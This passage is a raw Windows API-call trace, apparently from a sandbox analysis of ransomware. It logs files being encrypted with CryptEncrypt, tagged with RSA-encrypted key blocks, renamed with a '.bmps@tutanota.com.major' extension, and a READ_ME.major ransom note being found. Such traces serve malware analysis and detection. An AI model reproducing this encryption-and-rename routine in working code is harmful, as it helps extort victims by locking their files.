CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.734] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XXbDBdYiMg/g+iJK/Zu8H5trLO1e1NjEt8WaT6QH3CPwPS0gY2uifazlw1n0xwoz\nVbqVMZshx0mpiIhNjORRPodhcLLSGt36S0zrG4uYNqldMsmW3SRH0yHcx1G5Wg1E\ns08DW8v2njcqFO11pxpHvcfrKuaASk5jyh6nSmGVg0QbcbZ/RoCb1Vj6NyTHU+f8\nvWKjsv9t9P/EnEHBAqUy1H6zEUoQ+M2ifFMYiNaV5it5C3CHEoEah4I7Ay8PLY6N\n78i2sscLfnL0+fXilxPOU3DRXwxjGnbxC7vqUKly/8XzD7Ss33XBpgP4xcu5gXej\nknsA69pTocv/YOp0dTgwFQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.734] WriteFile (in: hFile=0x1098, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.734] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.734] WriteFile (in: hFile=0x1098, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.734] CloseHandle (hObject=0x1098) returned 1 [0199.736] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.736] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.736] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1098 [0199.737] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0199.737] ReadFile (in: hFile=0x1098, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.746] SetFilePointer (in: hFile=0x1098, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.747] WriteFile (in: hFile=0x1098, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.747] SetFilePointer (in: hFile=0x1098, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.747] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.747] WriteFile (in: hFile=0x1098, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0199.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6vP811/q14g3fpDijpFeNYCG1h1bs8I7jgIpdDtXdjVc9QqafMZOAe7k/oV8cygK\ngS83i689oPVr5+f43KTmWbvBfpf4rlgC9euOuybXO0vl8wCqxq6TqRLsdaDSNUqH\ngvoFln+HywQIO7uxryHQSIG8nWpdxMCD22sCQqJ61CIrRPns76Yd2vK3NhBBRl4B\ng2CpPHZtKfgzOfqg/H293SUKnzfMUw8FHbouXz+WAUBGZ2SPa3zhwUe7f8DNyTA0\nymrS+av6mmMNWTREJ2i0wxIuvKxAs3mCOmBAYNlW9pxBXMJCNXdWKHdKJoSwAzHx\n35LAavLCCTp77Uere1rwPw==\n", pcchString=0x2e3f9a8) returned 1 [0199.748] WriteFile (in: hFile=0x1098, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.748] WriteFile (in: hFile=0x1098, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.749] CloseHandle (hObject=0x1098) returned 1 [0199.750] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.750] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663550 [0199.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0199.751] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1098 [0199.752] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0199.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d320 [0199.752] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d290 [0199.752] ReadFile (in: hFile=0x1098, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.752] SetFilePointer (in: hFile=0x1098, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.753] WriteFile (in: hFile=0x1098, lpBuffer=0x59d290*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.753] SetFilePointer (in: hFile=0x1098, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.753] WriteFile (in: hFile=0x1098, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.754] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.754] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.755] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0199.755] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mTpkWZ1owgEgv36GNB1YJ5Tbrii/d8Q7m1AiSZaMhCoSB+rDECuHGrYKr7S6Paf7\nmxIFfFqHga7do+M2CbsH0K2dOR1uX7JBjcmYFPZvT1wJhL1bWyl3qHytnNlrZJ0w\nwrtnTQE/ZNVE+B6ekiVSk7CshWn1/YXYnT/8lOJcf28kBu2RYMQvXofhYjBg9IvK\nYw7fayOE75o/mIM4boc3naIrhNBU1lmQ2RYCgyXAxFcVFzt0qK6qXXdpIxmrVTdn\nV0/Dsx3FW3BCAgmz+a8E3jaJG0QfYDw9qielYbHf2xKlpYo9nK/qQTkK5XfBaL4c\njVl4+oKG5Xlz6yRqOGBDGw==\n", pcchString=0x2e3f9a8) returned 1 [0199.755] WriteFile (in: hFile=0x1098, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.755] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.755] WriteFile (in: hFile=0x1098, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.755] CloseHandle (hObject=0x1098) returned 1 [0199.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0199.756] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0199.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0199.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6898 | out: hHeap=0x570000) returned 1 [0199.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662500 | out: hHeap=0x570000) returned 1 [0199.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662e10 | out: hHeap=0x570000) returned 1 [0199.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662078 [0199.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ff80 | out: hHeap=0x570000) returned 1 [0199.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669b80 | out: hHeap=0x570000) returned 1 [0199.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9df8 | out: hHeap=0x570000) returned 1 [0199.758] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcffd9e09, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xcffd9e09, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb380 [0199.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0199.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0199.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0199.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.759] GetLastError () returned 0x0 [0199.759] SetLastError (dwErrCode=0x0) [0199.759] GetLastError () returned 0x0 [0199.759] SetLastError (dwErrCode=0x0) [0199.759] GetLastError () returned 0x0 [0199.759] SetLastError (dwErrCode=0x0) [0199.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0199.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0199.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0199.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb580 [0199.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb580 | out: hHeap=0x570000) returned 1 [0199.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0199.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0199.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0199.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0199.760] FindNextFileW (in: hFindFile=0x30fb380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcffd9e09, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xcffd9e09, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0199.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0199.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.761] GetLastError () returned 0x0 [0199.761] SetLastError (dwErrCode=0x0) [0199.761] GetLastError () returned 0x0 [0199.761] SetLastError (dwErrCode=0x0) [0199.762] GetLastError () returned 0x0 [0199.762] SetLastError (dwErrCode=0x0) [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0199.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6730 [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb5c0 [0199.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb5c0 | out: hHeap=0x570000) returned 1 [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0199.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0199.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6730 | out: hHeap=0x570000) returned 1 [0199.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.762] FindNextFileW (in: hFindFile=0x30fb380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x307f8f38, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x307f8f38, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0199.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0199.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.763] GetLastError () returned 0x0 [0199.763] SetLastError (dwErrCode=0x0) [0199.763] GetLastError () returned 0x0 [0199.763] SetLastError (dwErrCode=0x0) [0199.763] GetLastError () returned 0x0 [0199.763] SetLastError (dwErrCode=0x0) [0199.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0199.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0199.763] FindNextFileW (in: hFindFile=0x30fb380, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x307f8f38, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x307f8f38, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0199.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x65ff80 [0199.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662078 | out: hHeap=0x570000) returned 1 [0199.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668668 | out: hHeap=0x570000) returned 1 [0199.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9e20 | out: hHeap=0x570000) returned 1 [0199.764] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2c54cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb0c0 [0199.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0199.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0199.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0199.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.764] GetLastError () returned 0x12 [0199.764] SetLastError (dwErrCode=0x12) [0199.764] GetLastError () returned 0x12 [0199.764] SetLastError (dwErrCode=0x12) [0199.765] GetLastError () returned 0x12 [0199.765] SetLastError (dwErrCode=0x12) [0199.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be738 [0199.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0199.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6618 [0199.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb580 [0199.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb580 | out: hHeap=0x570000) returned 1 [0199.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0199.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0199.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6618 | out: hHeap=0x570000) returned 1 [0199.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0199.765] FindNextFileW (in: hFindFile=0x30fb0c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2c54cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0199.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0199.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0199.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8ae0 [0199.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0199.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8ae0 | out: hHeap=0x570000) returned 1 [0199.766] GetLastError () returned 0x12 [0199.766] SetLastError (dwErrCode=0x12) [0199.766] GetLastError () returned 0x12 [0199.766] SetLastError (dwErrCode=0x12) [0199.766] GetLastError () returned 0x12 [0199.766] SetLastError (dwErrCode=0x12) [0199.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0199.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0199.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6870 [0199.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb100 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb100 | out: hHeap=0x570000) returned 1 [0199.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6870 | out: hHeap=0x570000) returned 1 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0199.767] FindNextFileW (in: 